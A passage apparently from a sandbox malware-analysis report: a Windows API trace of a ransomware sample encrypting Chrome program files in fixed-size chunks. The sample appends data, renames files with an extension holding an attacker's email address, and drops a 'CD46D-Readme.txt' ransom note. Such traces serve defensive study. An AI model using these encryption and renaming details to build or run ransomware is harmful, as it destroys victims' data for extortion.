[0063.340] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0xa74fad4, FileInformation=0xa74faac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41c0b8) returned 1 [0063.342] FlushFileBuffers (hFile=0x970) returned 1 [0066.220] CloseHandle (hObject=0x970) Thread: id = 486 os_tid = 0xe88 [0049.283] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak")) returned 0x20 [0055.870] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak", dwFileAttributes=0x20) returned 1 [0057.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_200_percent.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_200_percent.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe80 [0057.988] GetFileSizeEx (in: hFile=0xe80, lpFileSize=0x55bfbd4 | out: lpFileSize=0x55bfbd4*=723842) returned 1 [0057.988] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0xb0b7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.988] ReadFile (in: hFile=0xe80, lpBuffer=0x55bfb58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x55bfb54, lpOverlapped=0x0 | out: lpBuffer=0x55bfb58*, lpNumberOfBytesRead=0x55bfb54*=0x4, lpOverlapped=0x0) returned 1 [0058.004] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0058.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441280 [0058.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441370 [0058.004] NtQuerySystemTime (in: CurrentTime=0x55bfb34 | out: CurrentTime=0x55bfb34*=132174898219776000) returned 0x0 [0058.004] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x2a716fa4 [0058.004] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x683ad6b0 [0058.004] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x1a3d3594 [0058.004] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x55b7b202 [0058.004] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x4d7b5950 [0058.004] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x192aaafa [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x62272ee3 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x15c1958d [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x46a9e592 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x6f069176 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x4e35c0d4 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x34f68fad [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x3d931fc0 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x69c96f5d [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x6d7ed27b [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x13d4acc3 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x1513d1eb [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x35c106b [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x1b0bda0b [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x76a9b1da [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x3213ccc2 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x74828176 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x3afffa2c [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x451da2bd [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x6bcbd082 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x3ea72012 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x78b81419 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x62f0f6bb [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x5dce7a63 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x80ddb76 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x6c48b091 [0058.005] RtlRandomEx (in: Seed=0x55bfb40 | out: Seed=0x55bfb40) returned 0x15c1958d [0058.016] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.016] ReadFile (in: hFile=0xe80, lpBuffer=0x5e04048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x55bfaec, lpOverlapped=0x0 | out: lpBuffer=0x5e04048*, lpNumberOfBytesRead=0x55bfaec*=0xc800, lpOverlapped=0x0) returned 1 [0058.018] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0058.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0058.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0058.018] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413c0) returned 1 [0058.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e10850 [0058.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0058.020] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441370 [0058.020] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441370) returned 1 [0058.020] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0058.020] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0058.020] WriteFile (in: hFile=0xe80, lpBuffer=0x5e10850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x55bfaec, lpOverlapped=0x0 | out: lpBuffer=0x5e10850*, lpNumberOfBytesWritten=0x55bfaec*=0xc800, lpOverlapped=0x0) returned 1 [0059.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e10850) returned 1 [0059.252] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.252] ReadFile (in: hFile=0xe80, lpBuffer=0x5e04048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x55bfaec, lpOverlapped=0x0 | out: lpBuffer=0x5e04048*, lpNumberOfBytesRead=0x55bfaec*=0xc800, lpOverlapped=0x0) returned 1 [0059.262] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x64000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0059.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b8e8 [0059.262] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0c8 [0059.262] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0c8) returned 1 [0059.263] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e10850 [0059.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0c8 [0059.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf0f0 [0059.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf0f0) returned 1 [0059.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 [0059.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0059.264] WriteFile (in: hFile=0xe80, lpBuffer=0x5e10850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x55bfaec, lpOverlapped=0x0 | out: lpBuffer=0x5e10850*, lpNumberOfBytesWritten=0x55bfaec*=0xc800, lpOverlapped=0x0) returned 1 [0062.338] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e10850) returned 1 [0062.338] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0xa4382, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.338] ReadFile (in: hFile=0xe80, lpBuffer=0x5e04048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x55bfaec, lpOverlapped=0x0 | out: lpBuffer=0x5e04048*, lpNumberOfBytesRead=0x55bfaec*=0xc800, lpOverlapped=0x0) returned 1 [0062.340] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0xa4382, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.340] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fd0 [0062.340] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8fd0) returned 1 [0062.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e10850 [0062.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fd0 [0062.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f08 [0062.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f08) returned 1 [0062.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.342] WriteFile (in: hFile=0xe80, lpBuffer=0x5e10850*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x55bfaec, lpOverlapped=0x0 | out: lpBuffer=0x5e10850*, lpNumberOfBytesWritten=0x55bfaec*=0xc800, lpOverlapped=0x0) returned 1 [0066.257] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e10850) returned 1 [0066.257] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d5f8 [0066.263] SetFilePointerEx (in: hFile=0xe80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.263] WriteFile (hFile=0xe80, lpBuffer=0x445438, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x55bfb94, lpOverlapped=0x0) Thread: id = 487 os_tid = 0xe8c [0049.284] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.sig")) returned 0x20 [0055.871] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig", dwFileAttributes=0x20) returned 1 [0057.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc [0057.990] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xbdff79c | out: lpFileSize=0xbdff79c*=1407) returned 1 [0057.990] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.990] ReadFile (in: hFile=0x1fc, lpBuffer=0xbdff720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbdff71c, lpOverlapped=0x0 | out: lpBuffer=0xbdff720*, lpNumberOfBytesRead=0xbdff71c*=0x4, lpOverlapped=0x0) returned 1 [0057.991] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413c0 [0057.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4413e8 [0057.992] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441280 [0057.992] NtQuerySystemTime (in: CurrentTime=0xbdff6fc | out: CurrentTime=0xbdff6fc*=132174898219776000) returned 0x0 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x2f4b7b94 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x1f04b66b [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x4f9ee007 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x75d34b15 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x1421c7a9 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x7b905049 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x5be673fa [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x62e39582 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x17c8605e [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x7fd21bcb [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x40838c21 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x2bdce755 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0xfd62b2b [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x9014aa7 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0xc4e5f4 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x2ca94282 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x10a12863 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x65a27f6e [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x3a6768f5 [0057.992] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x5bc7f7ff [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x6bab5690 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x4b01e51d [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x547982b3 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x5c195299 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x45194c5c [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x85232c1 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x35eff3f0 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x38f849a2 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x6e2f44c0 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x18497d2 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x61f09428 [0057.993] RtlRandomEx (in: Seed=0xbdff708 | out: Seed=0xbdff708) returned 0x3724b839 [0058.004] ReadFile (in: hFile=0x1fc, lpBuffer=0x19621920, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0xbdff6f8, lpOverlapped=0x0 | out: lpBuffer=0x19621920*, lpNumberOfBytesRead=0xbdff6f8*=0x57f, lpOverlapped=0x0) returned 1 [0058.004] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.004] WriteFile (in: hFile=0x1fc, lpBuffer=0x1962e128*, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0xbdff6f4, lpOverlapped=0x0 | out: lpBuffer=0x1962e128*, lpNumberOfBytesWritten=0xbdff6f4*=0x57f, lpOverlapped=0x0) returned 1 [0058.456] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a50 [0058.456] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b40 [0058.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0058.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1962e128) returned 1 [0058.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19621920) returned 1 [0058.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0058.457] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c090) returned 1 [0058.457] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x440de0 [0058.457] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.457] WriteFile (in: hFile=0x1fc, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xbdff75c, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0xbdff75c*=0x119, lpOverlapped=0x0) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4409e0) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440de0) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a50) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4413e8) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0058.493] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0058.493] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf0) returned 0x4de000 [0058.493] wcscpy (in: _Dest=0x4de000, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" [0058.493] wcscat (in: _Dest=0x4de000, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig.mailto[2Hamlampampom@cock.li].cd46d" [0058.493] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xbdff714, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.493] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x106) returned 0x423da8 [0058.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0058.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1ec78) returned 1 [0058.523] NtQueryInformationFile (in: FileHandle=0x1fc, IoStatusBlock=0xbdff720, FileInformation=0xbdff6f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xbdff720, FileInformation=0xbdff6f8) returned 0x0 [0058.523] NtSetInformationFile (FileHandle=0x1fc, IoStatusBlock=0xbdff720, FileInformation=0xbdff6f8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de000) returned 1 [0058.524] FlushFileBuffers (hFile=0x1fc) returned 1 [0062.193] CloseHandle (hObject=0x1fc) returned 1 [0062.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x442d00 [0062.634] wcscpy (in: _Dest=0x442d00, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0062.634] wcscat (in: _Dest=0x442d00, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" [0062.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\cd46d-readme.txt")) returned 0x20 [0062.634] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d00) returned 1 [0062.634] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442a40) returned 1 Thread: id = 488 os_tid = 0xe90 [0049.285] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x424378 [0049.285] wcscpy (in: _Dest=0x424378, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0049.285] wcscat (in: _Dest=0x424378, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0049.285] wcscat (in: _Dest=0x424378, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*" [0049.285] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459560 [0049.285] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\*", lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a428 [0057.616] wcscmp (_String1=".", _String2=".") returned 0 [0057.616] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d7b17e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.616] wcscmp (_String1="..", _String2=".") returned 1 [0057.616] wcscmp (_String1="..", _String2="..") returned 0 [0057.616] FindNextFileW (in: hFindFile=0x40a428, lpFindFileData=0x459560 | out: lpFindFileData=0x459560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7b17e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7b17e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea6c768, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x11e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="docs.crx", cAlternateFileName="")) returned 1 [0057.616] wcscmp (_String1="docs.crx", _String2=".") returned 1 [0057.616] wcscmp (_String1="docs.crx", _String2="..") returned 1 [0057.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45bfb8 [0057.616] wcscpy (in: _Dest=0x45bfb8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps" [0057.616] wcscat (in: _Dest=0x45bfb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\" [0057.616] wcscat (in: _Dest=0x45bfb8, _Source="docs.crx" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\default_apps\\docs.crx" [0066.052] CreateThread (in: lpThreadAttributes=0x0, 